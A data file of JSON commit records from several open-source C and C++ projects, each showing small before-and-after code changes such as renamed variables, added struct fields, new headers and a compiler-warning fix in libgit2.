{"commit":"462cf17a56979aafaead2e19ea8bc0e82df66a3d","old_file":"src\/OI.h","new_file":"src\/OI.h","old_contents":"#ifndef OI_H\n#define OI_H\n\n#include \"WPILib.h\"\n#include \"RobotMap.h\"\n#include <math.h>\n\nclass OI\n{\nprivate:\n\tJoystick Joystick;\n\npublic:\n\tOI();\n\tinline float GetStickX(){ return FractionOmitted(Joystick.GetX()); }\n\tinline float GetStickY(){ return FractionOmitted(Joystick.GetY()); }\n\tinline float GetStickZ(){ return FractionOmitted(Joystick.GetZ()); }\n\n\tinline float FractionOmitted(float original){\n\t\tif(fabsf(original) < 0.01 ){\n\t\t\toriginal = 0;\n\t\t}\n\t\treturn original;\n\t}\n};\n\n#endif\n","new_contents":"#ifndef OI_H\n#define OI_H\n\n#include \"WPILib.h\"\n#include \"RobotMap.h\"\n#include <math.h>\n\nclass OI\n{\nprivate:\n\tJoystick Joystick;\n\npublic:\n\tOI();\n\tinline float GetXplusY(){\n\t\tfloat val;\n\t\tval = FractionOmitted(Joystick.GetY() + Joystick.GetX());\n\t\tif(val > 1.2) val = 1.2;\n\t\tif(val < -1.2) val = -1.2;\n\t\treturn val;\n\t}\n\tinline float GetXminusY(){\n\t\tfloat val;\n\t\tval = FractionOmitted(Joystick.GetY() - Joystick.GetX());\n\t\tif(val > 1.2) val = 1.2;\n\t\tif(val < -1.2) val = -1.2;\n\t\treturn val;\n\t}\n\n\n\tinline float GetStickX(){ return FractionOmitted(Joystick.GetX()); }\n\tinline float GetStickY(){ return FractionOmitted(Joystick.GetY()); }\n\tinline float GetStickZ(){ return FractionOmitted(Joystick.GetZ()); }\n\n\n\tinline float FractionOmitted(float original){\n\t\tif(fabsf(original) < 0.01 ){\n\t\t\toriginal = 0;\n\t\t}\n\t\treturn original;\n\t}\n};\n\n#endif\n","subject":"Create GetXplusY function and GetXminusY function","message":"Create GetXplusY function and GetXminusY function","lang":"C","license":"epl-1.0","repos":"tokyotechnicalsamurai\/shougun"}
{"commit":"2a1c4612e6de5784fe2c3bc553e2156b37ab6084","old_file":"tinynurbs\/tinynurbs.h","new_file":"tinynurbs\/tinynurbs.h","old_contents":"","new_contents":"\/**\n@file\n@brief Import the entire library\n\nUse of this source code is governed by a BSD-style license that can be found in\nthe LICENSE file.\n *\/\n\n#include \"core\/basis.h\"\n#include \"core\/evaluate.h\"\n#include \"core\/check.h\"\n#include \"core\/modify.h\"\n#include \"geometry\/curve.h\"\n#include \"geometry\/surface.h\"\n#include \"io\/obj.h\"\n","subject":"Add header for importing entire library","message":"Add header for importing entire library\n","lang":"C","license":"bsd-3-clause","repos":"pradeep-pyro\/openspline"}
{"commit":"fd0f406fea93d14c53f056bfcae8f6a6a2952b26","old_file":"unittests\/asm_mocks.c","new_file":"unittests\/asm_mocks.c","old_contents":"\n\/\/ Defining some necessary symbols just to make the linker happy.\n\nvoid kernel_yield() { }\nvoid arch_specific_new_task_setup() { }\nvoid arch_specific_free_task() { }\n","new_contents":"\n#include <common\/basic_defs.h>\n\n\/\/ Defining some necessary symbols just to make the linker happy.\n\nvoid *kernel_initial_stack = NULL;\n\nvoid kernel_yield() { NOT_REACHED(); }\nvoid arch_specific_new_task_setup() { NOT_REACHED(); }\nvoid arch_specific_free_task() { NOT_REACHED(); }\nvoid switch_to_initial_kernel_stack() { NOT_REACHED(); }\n","subject":"Fix build error (missing mocks)","message":"[gtests] Fix build error (missing mocks)\n","lang":"C","license":"bsd-2-clause","repos":"vvaltchev\/experimentOs,vvaltchev\/experimentOs,vvaltchev\/experimentOs,vvaltchev\/experimentOs"}
{"commit":"f90fdb4570d97e7970ec72e0715a5924ab1da95c","old_file":"include\/ygo\/data\/CardData.h","new_file":"include\/ygo\/data\/CardData.h","old_contents":"#ifndef YGO_DATA_CARDDATA_H\n#define YGO_DATA_CARDDATA_H\n\n#include <string>\n\n#include \"CardType.h\"\n\nnamespace ygo\n{\nnamespace data\n{\n\nstruct StaticCardData\n{\n    std::string name;\n    CardType cardType;\n    \/\/ monster only\n    Attribute attribute;\n    MonsterType monsterType;\n    Type type;\n    MonsterType monsterAbility;\n    int level;\n    int attack;\n    int defense;\n    int lpendulum;\n    int rpendulum;\n    \/\/ spell and trap only\n    SpellType spellType;\n    TrapType trapType;\n};\n\n}\n}\n\n#endif\n","new_contents":"#ifndef YGO_DATA_CARDDATA_H\n#define YGO_DATA_CARDDATA_H\n\n#include <string>\n\n#include \"CardType.h\"\n\nnamespace ygo\n{\nnamespace data\n{\n\nstruct StaticCardData\n{\n    std::string name;\n    CardType cardType;\n    \/\/ monster only\n    Attribute attribute;\n    MonsterType monsterType;\n    Type type;\n    MonsterType monsterAbility;\n    int level;\n    int attack;\n    int defense;\n    int lpendulum;\n    int rpendulum;\n    \/\/ spell and trap only\n    SpellType spellType;\n    TrapType trapType;\n    std::string text;\n};\n\n}\n}\n\n#endif\n","subject":"Add text to static card data","message":"Add text to static card data\n","lang":"C","license":"mit","repos":"DeonPoncini\/ygodata"}
{"commit":"34438e0e5eb32764691044269b8f3557f8c39668","old_file":"FreeRTOS\/src\/select.c","new_file":"FreeRTOS\/src\/select.c","old_contents":"#include \"sys\/select.h\"\n#include \"bits\/mac_esp8266.h\"\n\n#include <stdio.h>\n#include \"usart.h\"\n\nint select(SOCKET nfds, fd_set *__readfds, fd_set *__writefds,\n\t\t\tfd_set *__exceptfds, struct timeval *__timeout) {\n\tSOCKET i;\n\tint c;\n\n\tc = 0;\n\t\/* Go through interested sockets. *\/\n\tfor(i = SOCKET_BASE; i < nfds; i++) {\n\t\tif((__readfds != NULL) && FD_ISSET(i, __readfds)) {\n\t\t\tif(IsSocketReady2Read(i)) {\n\t\t\t\t\/* The interested socket is ready to be read. *\/\n\t\t\t\tc++;\n\t\t\t}\n\t\t\telse {\n\t\t\t\t\/* The interested socket is not ready to be read. *\/\n\t\t\t\tFD_CLR(i, __readfds);\n\t\t\t}\n\t\t}\n\t\tif((__writefds != NULL) && FD_ISSET(i, __writefds)) {\n\t\t\tif(IsSocketReady2Write(i)) {\n\t\t\t\t\/* The interested socket is ready to be written. *\/\n\t\t\t\tc++;\n\t\t\t}\n\t\t\telse {\n\t\t\t\t\/* The interested socket is not ready to be written. *\/\n\t\t\t\tFD_CLR(i, __writefds);\n\t\t\t}\n\t\t}\n\t\tif((__exceptfds != NULL) && FD_ISSET(i, __exceptfds)) {\n\t\t\t\/\/ To do: List exception sockets.\n\t\t\t\/* Zero __exceptfds for now. *\/\n\t\t\tFD_ZERO(__exceptfds);\n\t\t}\n\t}\n\n\treturn c;\n}\n","new_contents":"#include \"sys\/select.h\"\n#include \"bits\/mac_esp8266.h\"\n\n#include <stdio.h>\n#include \"usart.h\"\n\nint select(SOCKET nfds, fd_set *__readfds, fd_set *__writefds,\n\t\t\tfd_set *__exceptfds, struct timeval *__timeout) {\n\tSOCKET i;\n\t\/* Count the ready socket. *\/\n\tint count;\n\n\tcount = 0;\n\t\/* Go through interested sockets. *\/\n\tfor(i = SOCKET_BASE; i < nfds; i++) {\n\t\tif((__readfds != NULL) && FD_ISSET(i, __readfds)) {\n\t\t\tif(IsSocketReady2Read(i)) {\n\t\t\t\t\/* The interested socket is ready to be read. *\/\n\t\t\t\tcount++;\n\t\t\t}\n\t\t\telse {\n\t\t\t\t\/* The interested socket is not ready to be read. *\/\n\t\t\t\tFD_CLR(i, __readfds);\n\t\t\t}\n\t\t}\n\t\tif((__writefds != NULL) && FD_ISSET(i, __writefds)) {\n\t\t\tif(IsSocketReady2Write(i)) {\n\t\t\t\t\/* The interested socket is ready to be written. *\/\n\t\t\t\tcount++;\n\t\t\t}\n\t\t\telse {\n\t\t\t\t\/* The interested socket is not ready to be written. *\/\n\t\t\t\tFD_CLR(i, __writefds);\n\t\t\t}\n\t\t}\n\t\tif((__exceptfds != NULL) && FD_ISSET(i, __exceptfds)) {\n\t\t\t\/\/ To do: List exception sockets.\n\t\t\t\/* Zero __exceptfds for now. *\/\n\t\t\tFD_ZERO(__exceptfds);\n\t\t}\n\t}\n\n\treturn count;\n}\n","subject":"Change the variable name for more meaningful.","message":"Change the variable name for more meaningful.\n","lang":"C","license":"bsd-3-clause","repos":"starnight\/MicroHttpServer,starnight\/MicroHttpServer,starnight\/MicroHttpServer,starnight\/MicroHttpServer"}
{"commit":"ca888bf0223ab22b94b47dc9efca522e595b1d6a","old_file":"opensync\/plugin\/opensync_plugin_connection_internals.h","new_file":"opensync\/plugin\/opensync_plugin_connection_internals.h","old_contents":"","new_contents":"\/*\n * libopensync - A synchronization framework\n * Copyright (C) 2008  Daniel Gollub <dgollub@suse.de>\n * \n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n * \n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307  USA\n * \n *\/\n\n#ifndef _OPENSYNC_PLUGIN_CONNECTION_INTERNALS_H_\n#define _OPENSYNC_PLUGIN_CONNECTION_INTERNALS_H_\n\n\/*! @brief OSyncPluginConnectionType String Map\n * \n * @ingroup OSyncPluginConnectionInternalsAPI \n **\/\n\n\ntypedef struct {\n\tOSyncPluginConnectionType type;\n\tconst char *string;\n} OSyncPluginConnectionTypeString;\n\nconst char *osync_plugin_connection_get_type_string(OSyncPluginConnectionType conn_type);\n\n#endif \/*_OPENSYNC_PLUGIN_CONNECTION_INTERNALS_H_*\/\n\n","subject":"Add missing file from previous commit.","message":"Add missing file from previous commit.\n\n\ngit-svn-id: e31799a7ad59d6ea355ca047c69e0aee8a59fcd3@4287 53f5c7ee-bee3-0310-bbc5-ea0e15fffd5e\n","lang":"C","license":"lgpl-2.1","repos":"ianmartin\/opensync,ianmartin\/opensync"}
{"commit":"d1b04ae45801d4c87302f40692ef8c191fb64197","old_file":"UnixPkg\/Include\/Guid\/UnixSystemConfig.h","new_file":"UnixPkg\/Include\/Guid\/UnixSystemConfig.h","old_contents":"\/**@file\r\n  Setup Variable data structure for Unix platform.\r\n\r\nCopyright (c) 2009, Intel Corporation                                                         \r\nAll rights reserved. This program and the accompanying materials                          \r\nare licensed and made available under the terms and conditions of the BSD License         \r\nwhich accompanies this distribution.  The full text of the license may be found at        \r\nhttp:\/\/opensource.org\/licenses\/bsd-license.php                                            \r\n                                                                                          \r\nTHE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,                     \r\nWITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.             \r\n\r\n\r\n**\/\r\n\r\n#ifndef __UNIX_SYSTEM_CONFIGUE_H__\r\n#define __UNIX_SYSTEM_CONFIGUE_H__\r\n\r\n#define EFI_UXIX_SYSTEM_CONFIG_GUID  \\\r\n  {0x375ea976, 0x3ccd, 0x4e74, {0xa8, 0x45, 0x26, 0xb9, 0xb3, 0x24, 0xb1, 0x3c}}\r\n\r\n\r\n#pragma pack(1)\r\ntypedef struct {\r\n  \/\/\r\n  \/\/ Console output mode\r\n  \/\/\r\n  UINT32        ConOutColumn;\r\n  UINT32        ConOutRow;\r\n} WIN_NT_SYSTEM_CONFIGURATION;\r\n#pragma pack()\r\n\r\n\r\nextern EFI_GUID   gEfiUnixSystemConfigGuid;\r\n\r\n#endif\r\n","new_contents":"\/**@file\r\n  Setup Variable data structure for Unix platform.\r\n\r\nCopyright (c) 2009, Intel Corporation                                                         \r\nAll rights reserved. This program and the accompanying materials                          \r\nare licensed and made available under the terms and conditions of the BSD License         \r\nwhich accompanies this distribution.  The full text of the license may be found at        \r\nhttp:\/\/opensource.org\/licenses\/bsd-license.php                                            \r\n                                                                                          \r\nTHE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,                     \r\nWITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.             \r\n\r\n\r\n**\/\r\n\r\n#ifndef __UNIX_SYSTEM_CONFIGUE_H__\r\n#define __UNIX_SYSTEM_CONFIGUE_H__\r\n\r\n#define EFI_UXIX_SYSTEM_CONFIG_GUID  \\\r\n  {0x375ea976, 0x3ccd, 0x4e74, {0xa8, 0x45, 0x26, 0xb9, 0xb3, 0x24, 0xb1, 0x3c}}\r\n\r\n\r\n#pragma pack(1)\r\ntypedef struct {\r\n  \/\/\r\n  \/\/ Console output mode\r\n  \/\/\r\n  UINT32        ConOutColumn;\r\n  UINT32        ConOutRow;\r\n} UNIX_SYSTEM_CONFIGURATION;\r\n#pragma pack()\r\n\r\n\r\nextern EFI_GUID   gEfiUnixSystemConfigGuid;\r\n\r\n#endif\r\n","subject":"Fix typo in data structure","message":"Fix typo in data structure\n\ngit-svn-id: 5648d1bec6962b0a6d1d1b40eba8cf5cdb62da3d@7589 6f19259b-4bc3-4df7-8a09-765794883524\n","lang":"C","license":"bsd-2-clause","repos":"MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2"}
{"commit":"3699f58d3f06fee8b4b0e096f32b699c518d9baf","old_file":"C++\/sorting\/bubblesort.h","new_file":"C++\/sorting\/bubblesort.h","old_contents":"#include <iostream>\n#include <vector>\n#include <stdlib.h>\n\ntemplate <typename T>\nvoid swap(T& a, T& b) {\n    T tmp = b;\n    b = a;\n    a = tmp;    \n}\n\ntemplate <typename T>\nvoid bubblesort(T& vec) {\n    auto f = vec.begin();\n    auto s = vec.begin();\n    ++s;\n    bool swapped = false;\n    while (s != vec.end()) {\n\tif (*f > *s) {\n\t    swap(*f, *s);\n\t    swapped = true;\n\t}\n\t++f; ++s;\n    }\n    if (swapped) {\n\tbubblesort(vec);\n    }\n}\n","new_contents":"#include <iostream>\n#include <vector>\n#include <stdlib.h>\n\ntemplate <typename T>\nvoid swap(T& a, T& b) {\n    T tmp = b;\n    b = a;\n    a = tmp;    \n}\n\ntemplate <typename T>\nT bubblesort(T& vec) {\n    auto f = vec.begin();\n    auto s = vec.begin();\n    ++s;\n    bool swapped = false;\n    while (s != vec.end()) {\n\tif (*f > *s) {\n\t    swap(*f, *s);\n\t    swapped = true;\n\t}\n\t++f; ++s;\n    }\n    if (swapped) {\n\tbubblesort(vec);\n    }\n    return vec;\n}\n","subject":"Return the sorted object as well as sort it in-place","message":"Bubblesort: Return the sorted object as well as sort it in-place\n","lang":"C","license":"bsd-3-clause","repos":"AeroNotix\/algostructure,AeroNotix\/algostructure,AeroNotix\/algostructure,AeroNotix\/algostructure,AeroNotix\/algostructure,AeroNotix\/algostructure"}
{"commit":"85799a4d918cd22717b02ca26b67f959f29e9664","old_file":"Graphics\/DrawableInterface.h","new_file":"Graphics\/DrawableInterface.h","old_contents":"","new_contents":"#pragma once\n\n#include <SFML\/Graphics.hpp>\n\nclass DrawableInterface {\n    public:\n        virtual ~DrawableInterface() {}\n        virtual void draw(sf::RenderWindow *window) = 0;\n};\n","subject":"Add graphics module and drawable interface","message":"Add graphics module and drawable interface\n","lang":"C","license":"mit","repos":"alobo\/ev"}
{"commit":"19b614ac69a19e6e7fc7ff48fa80594cf47d63d7","old_file":"STEER\/AliMisAligner.h","new_file":"STEER\/AliMisAligner.h","old_contents":"#ifndef ALI_MISALIGNER_H\n#define ALI_MISALIGNER_H\n\n#include \"TObject.h\"\n#include \"TString.h\"\n#include \"AliCDBMetaData.h\"\n\nclass TClonesArray;\nclass AliCDBManager;\n\n\/\/ Base class for creating a TClonesArray of simulated misalignment objects\n\/\/ for a given subdetector of type ideal,residual or full\n\/\/\n\nclass AliMisAligner : public TObject {\n\n  public:\n    AliMisAligner();\n    virtual TClonesArray* MakeAlObjsArray() const =0;\n    virtual AliCDBMetaData* GetCDBMetaData() const =0;\n    void SetMisalType(const char* misalType)\n    {\n      fMisalType=misalType;\n    }\n    const char* GetMisalType() const\n    {\n      return fMisalType.Data();\n    }\n\n  protected:\n    TString fMisalType;\n\n  private:\n    ClassDef(AliMisAligner,0);\n};\n\n#endif\n\n","new_contents":"#ifndef ALI_MISALIGNER_H\n#define ALI_MISALIGNER_H\n\n#include \"TObject.h\"\n#include \"TString.h\"\n#include \"AliCDBMetaData.h\"\n\nclass TClonesArray;\nclass AliCDBManager;\n\n\/\/ Base class for creating a TClonesArray of simulated misalignment objects\n\/\/ for a given subdetector of type ideal,residual or full\n\/\/\n\nclass AliMisAligner : public TObject {\n\n  public:\n    AliMisAligner();\n    virtual TClonesArray* MakeAlObjsArray() =0;\n    virtual AliCDBMetaData* GetCDBMetaData() const =0;\n    void SetMisalType(const char* misalType)\n    {\n      fMisalType=misalType;\n    }\n    const char* GetMisalType() const\n    {\n      return fMisalType.Data();\n    }\n\n  protected:\n    TString fMisalType;\n\n  private:\n    ClassDef(AliMisAligner,0);\n};\n\n#endif\n\n","subject":"Allow methods called inside MakeAlObjsArray to modify data members","message":"Allow methods called inside MakeAlObjsArray to modify data members\n\n","lang":"C","license":"bsd-3-clause","repos":"shahor02\/AliRoot,ecalvovi\/AliRoot,shahor02\/AliRoot,coppedis\/AliRoot,jgrosseo\/AliRoot,jgrosseo\/AliRoot,miranov25\/AliRoot,jgrosseo\/AliRoot,ecalvovi\/AliRoot,shahor02\/AliRoot,alisw\/AliRoot,mkrzewic\/AliRoot,alisw\/AliRoot,coppedis\/AliRoot,sebaleh\/AliRoot,jgrosseo\/AliRoot,ALICEHLT\/AliRoot,miranov25\/AliRoot,jgrosseo\/AliRoot,jgrosseo\/AliRoot,ALICEHLT\/AliRoot,jgrosseo\/AliRoot,miranov25\/AliRoot,alisw\/AliRoot,mkrzewic\/AliRoot,miranov25\/AliRoot,sebaleh\/AliRoot,shahor02\/AliRoot,shahor02\/AliRoot,ecalvovi\/AliRoot,alisw\/AliRoot,ecalvovi\/AliRoot,ALICEHLT\/AliRoot,sebaleh\/AliRoot,miranov25\/AliRoot,sebaleh\/AliRoot,mkrzewic\/AliRoot,miranov25\/AliRoot,ALICEHLT\/AliRoot,sebaleh\/AliRoot,alisw\/AliRoot,alisw\/AliRoot,miranov25\/AliRoot,ecalvovi\/AliRoot,coppedis\/AliRoot,mkrzewic\/AliRoot,coppedis\/AliRoot,coppedis\/AliRoot,coppedis\/AliRoot,shahor02\/AliRoot,ecalvovi\/AliRoot,mkrzewic\/AliRoot,miranov25\/AliRoot,alisw\/AliRoot,ALICEHLT\/AliRoot,ALICEHLT\/AliRoot,sebaleh\/AliRoot,ecalvovi\/AliRoot,sebaleh\/AliRoot,coppedis\/AliRoot,coppedis\/AliRoot,alisw\/AliRoot,mkrzewic\/AliRoot,shahor02\/AliRoot,mkrzewic\/AliRoot,ALICEHLT\/AliRoot"}
{"commit":"f5cf45ab37c8c4771681a2bfb85194e48086026e","old_file":"src\/debug.h","new_file":"src\/debug.h","old_contents":"#ifndef __DEBUG_H\n#define __DEBUG_H\n\n#ifdef DEBUG\nextern bool debug;\nextern bool debug_z;\n\n#define DBG if (debug)\n#define MSG(x) DBG msg x\n#else\n#define DBG if (0)\n#define MSG(x)\n#endif\n\n#if defined(DEBUG) || defined(PRECON)\n#define PRECONDITION(x) if (x); else precondition( #x , __FILE__, __LINE__)\n#else\n#define PRECONDITION(x) \/\/ nothing\n#endif\n\n#endif\n","new_contents":"#ifndef __DEBUG_H\n#define __DEBUG_H\n\n#ifdef DEBUG\nextern bool debug;\nextern bool debug_z;\n\n#define DBG if (debug)\n#define MSG(x) DBG tlog x\n#else\n#define DBG if (0)\n#define MSG(x)\n#endif\n\n#if defined(DEBUG) || defined(PRECON)\n#define PRECONDITION(x) if (x); else precondition( #x , __FILE__, __LINE__)\n#else\n#define PRECONDITION(x) \/\/ nothing\n#endif\n\n#endif\n","subject":"Use tlog for MSG reports.","message":"Use tlog for MSG reports.\n","lang":"C","license":"lgpl-2.1","repos":"dicej\/icewm,dicej\/icewm,dicej\/icewm,dicej\/icewm"}
{"commit":"4e0d6d864d3632a820d8bf3dd89ff333b9bbd34d","old_file":"src\/revwalk.h","new_file":"src\/revwalk.h","old_contents":"#ifndef INCLUDE_revwalk_h__\n#define INCLUDE_revwalk_h__\n\n#include \"git\/common.h\"\n#include \"git\/revwalk.h\"\n\nstruct git_revpool {\n\tgit_odb *db;\n\n\tgit_commit_list iterator;\n\tgit_commit *(*next_commit)(git_commit_list *);\n\n\tgit_commit_list roots;\n\tgit_revpool_table *commits;\n\n\tunsigned walking:1;\n\tunsigned char sorting;\n};\n\nvoid gitrp__prepare_walk(git_revpool *pool);\nint gitrp__enroot(git_revpool *pool, git_commit *commit);\n\n#endif \/* INCLUDE_revwalk_h__ *\/\n","new_contents":"#ifndef INCLUDE_revwalk_h__\n#define INCLUDE_revwalk_h__\n\n#include \"git\/common.h\"\n#include \"git\/revwalk.h\"\n\nstruct git_revpool {\n\tgit_odb *db;\n\n\tgit_commit_list iterator;\n\tgit_commit *(*next_commit)(git_commit_list *);\n\n\tgit_commit_list roots;\n\tgit_revpool_table *commits;\n\n\tunsigned walking:1;\n\tunsigned int sorting;\n};\n\nvoid gitrp__prepare_walk(git_revpool *pool);\nint gitrp__enroot(git_revpool *pool, git_commit *commit);\n\n#endif \/* INCLUDE_revwalk_h__ *\/\n","subject":"Fix an \"conversion, loss of data\" compiler warning","message":"msvc: Fix an \"conversion, loss of data\" compiler warning\n\nIn particular, the compiler issues the following warning:\n\n    src\/revwalk.c(61) : warning C4244: '=' : conversion from \\\n        'unsigned int' to 'unsigned char', possible loss of data\n\nIn order to suppress the warning, we change the type of the\nsorting \"enum\" field of the git_revpool structure to be consistent\nwith the sort_mode parameter of the gitrp_sorting() function.\n\nNote that if the size of the git_revpool structure is an issue,\nthen we could change the type of the sort_mode parameter instead.\n\nSigned-off-by: Ramsay Jones <3e74413778ce9c8bebbbaedfd56741f6850faeaf@ramsay1.demon.co.uk>\nSigned-off-by: Andreas Ericsson <1eabdaf488b3a3682bbca94c5f468f065cdfaf13@op5.se>\n","lang":"C","license":"lgpl-2.1","repos":"jflesch\/libgit2-mariadb,Tousiph\/Demo1,since2014\/libgit2,saurabhsuniljain\/libgit2,chiayolin\/libgit2,Tousiph\/Demo1,mhp\/libgit2,leoyanggit\/libgit2,mingyaaaa\/libgit2,sim0629\/libgit2,sim0629\/libgit2,jamieleecool\/ptest,zodiac\/libgit2.js,Aorjoa\/libgit2_maked_lib,dleehr\/libgit2,mrksrm\/Mingijura,Corillian\/libgit2,raybrad\/libit2,linquize\/libgit2,claudelee\/libgit2,leoyanggit\/libgit2,kissthink\/libgit2,Corillian\/libgit2,Tousiph\/Demo1,joshtriplett\/libgit2,rcorre\/libgit2,maxiaoqian\/libgit2,yongthecoder\/libgit2,magnus98\/TEST,yosefhackmon\/libgit2,kenprice\/libgit2,iankronquist\/libgit2,Tousiph\/Demo1,ardumont\/libgit2,Corillian\/libgit2,claudelee\/libgit2,KTXSoftware\/libgit2,oaastest\/libgit2,KTXSoftware\/libgit2,raybrad\/libit2,mcanthony\/libgit2,Tousiph\/Demo1,linquize\/libgit2,KTXSoftware\/libgit2,amyvmiwei\/libgit2,evhan\/libgit2,sim0629\/libgit2,since2014\/libgit2,mcanthony\/libgit2,iankronquist\/libgit2,whoisj\/libgit2,yongthecoder\/libgit2,mhp\/libgit2,falqas\/libgit2,falqas\/libgit2,Aorjoa\/libgit2_maked_lib,nacho\/libgit2,jamieleecool\/ptest,kenprice\/libgit2,claudelee\/libgit2,JIghtuse\/libgit2,stewid\/libgit2,swisspol\/DEMO-libgit2,skabel\/manguse,mingyaaaa\/libgit2,stewid\/libgit2,iankronquist\/libgit2,magnus98\/TEST,jamieleecool\/ptest,sim0629\/libgit2,rcorre\/libgit2,oaastest\/libgit2,mrksrm\/Mingijura,swisspol\/DEMO-libgit2,nacho\/libgit2,yosefhackmon\/libgit2,chiayolin\/libgit2,JIghtuse\/libgit2,mingyaaaa\/libgit2,mingyaaaa\/libgit2,joshtriplett\/libgit2,dleehr\/libgit2,leoyanggit\/libgit2,spraints\/libgit2,dleehr\/libgit2,skabel\/manguse,Corillian\/libgit2,magnus98\/TEST,ardumont\/libgit2,jeffhostetler\/public_libgit2,ardumont\/libgit2,claudelee\/libgit2,falqas\/libgit2,MrHacky\/libgit2,Snazz2001\/libgit2,mhp\/libgit2,since2014\/libgit2,t0xicCode\/libgit2,whoisj\/libgit2,t0xicCode\/libgit2,jflesch\/libgit2-mariadb,yosefhackmon\/libgit2,mcanthony\/libgit2,kissthink\/libgit2,KTXSoftware\/libgit2,magnus98\/TEST,kenprice\/libgit2,rcorre\/libgit2,t0xicCode\/libgit2,nokiddin\/libgit2,chiayolin\/libgit2,leoyanggit\/libgit2,Aorjoa\/libgit2_maked_lib,spraints\/libgit2,nokiddin\/libgit2,yosefhackmon\/libgit2,spraints\/libgit2,MrHacky\/libgit2,Tousiph\/Demo1,saurabhsuniljain\/libgit2,maxiaoqian\/libgit2,jeffhostetler\/public_libgit2,kissthink\/libgit2,rcorre\/libgit2,since2014\/libgit2,JIghtuse\/libgit2,maxiaoqian\/libgit2,chiayolin\/libgit2,Aorjoa\/libgit2_maked_lib,raybrad\/libit2,iankronquist\/libgit2,sygool\/libgit2,jeffhostetler\/public_libgit2,whoisj\/libgit2,t0xicCode\/libgit2,jflesch\/libgit2-mariadb,raybrad\/libit2,jflesch\/libgit2-mariadb,chiayolin\/libgit2,mhp\/libgit2,evhan\/libgit2,skabel\/manguse,leoyanggit\/libgit2,yongthecoder\/libgit2,iankronquist\/libgit2,maxiaoqian\/libgit2,rcorre\/libgit2,mhp\/libgit2,t0xicCode\/libgit2,jeffhostetler\/public_libgit2,whoisj\/libgit2,zodiac\/libgit2.js,stewid\/libgit2,jflesch\/libgit2-mariadb,maxiaoqian\/libgit2,saurabhsuniljain\/libgit2,mrksrm\/Mingijura,stewid\/libgit2,JIghtuse\/libgit2,sygool\/libgit2,saurabhsuniljain\/libgit2,falqas\/libgit2,claudelee\/libgit2,leoyanggit\/libgit2,mrksrm\/Mingijura,whoisj\/libgit2,nacho\/libgit2,saurabhsuniljain\/libgit2,spraints\/libgit2,kenprice\/libgit2,skabel\/manguse,mhp\/libgit2,saurabhsuniljain\/libgit2,mrksrm\/Mingijura,zodiac\/libgit2.js,zodiac\/libgit2.js,jeffhostetler\/public_libgit2,swisspol\/DEMO-libgit2,sygool\/libgit2,nokiddin\/libgit2,nokiddin\/libgit2,Aorjoa\/libgit2_maked_lib,nokiddin\/libgit2,dleehr\/libgit2,Snazz2001\/libgit2,raybrad\/libit2,amyvmiwei\/libgit2,sim0629\/libgit2,sygool\/libgit2,joshtriplett\/libgit2,kenprice\/libgit2,oaastest\/libgit2,amyvmiwei\/libgit2,since2014\/libgit2,yongthecoder\/libgit2,linquize\/libgit2,dleehr\/libgit2,Snazz2001\/libgit2,KTXSoftware\/libgit2,oaastest\/libgit2,ardumont\/libgit2,oaastest\/libgit2,mcanthony\/libgit2,joshtriplett\/libgit2,magnus98\/TEST,chiayolin\/libgit2,dleehr\/libgit2,mrksrm\/Mingijura,sygool\/libgit2,kissthink\/libgit2,falqas\/libgit2,yosefhackmon\/libgit2,yongthecoder\/libgit2,jamieleecool\/ptest,t0xicCode\/libgit2,KTXSoftware\/libgit2,Snazz2001\/libgit2,linquize\/libgit2,mcanthony\/libgit2,rcorre\/libgit2,mingyaaaa\/libgit2,stewid\/libgit2,jflesch\/libgit2-mariadb,amyvmiwei\/libgit2,skabel\/manguse,joshtriplett\/libgit2,skabel\/manguse,evhan\/libgit2,Corillian\/libgit2,joshtriplett\/libgit2,linquize\/libgit2,evhan\/libgit2,JIghtuse\/libgit2,kissthink\/libgit2,mcanthony\/libgit2,since2014\/libgit2,kenprice\/libgit2,Snazz2001\/libgit2,yongthecoder\/libgit2,stewid\/libgit2,linquize\/libgit2,iankronquist\/libgit2,amyvmiwei\/libgit2,yosefhackmon\/libgit2,mingyaaaa\/libgit2,whoisj\/libgit2,kissthink\/libgit2,MrHacky\/libgit2,JIghtuse\/libgit2,swisspol\/DEMO-libgit2,magnus98\/TEST,sygool\/libgit2,Snazz2001\/libgit2,claudelee\/libgit2,spraints\/libgit2,MrHacky\/libgit2,Corillian\/libgit2,sim0629\/libgit2,amyvmiwei\/libgit2,falqas\/libgit2,MrHacky\/libgit2,oaastest\/libgit2,ardumont\/libgit2,zodiac\/libgit2.js,maxiaoqian\/libgit2,nokiddin\/libgit2,swisspol\/DEMO-libgit2,ardumont\/libgit2,jeffhostetler\/public_libgit2,swisspol\/DEMO-libgit2,MrHacky\/libgit2,nacho\/libgit2,spraints\/libgit2"}
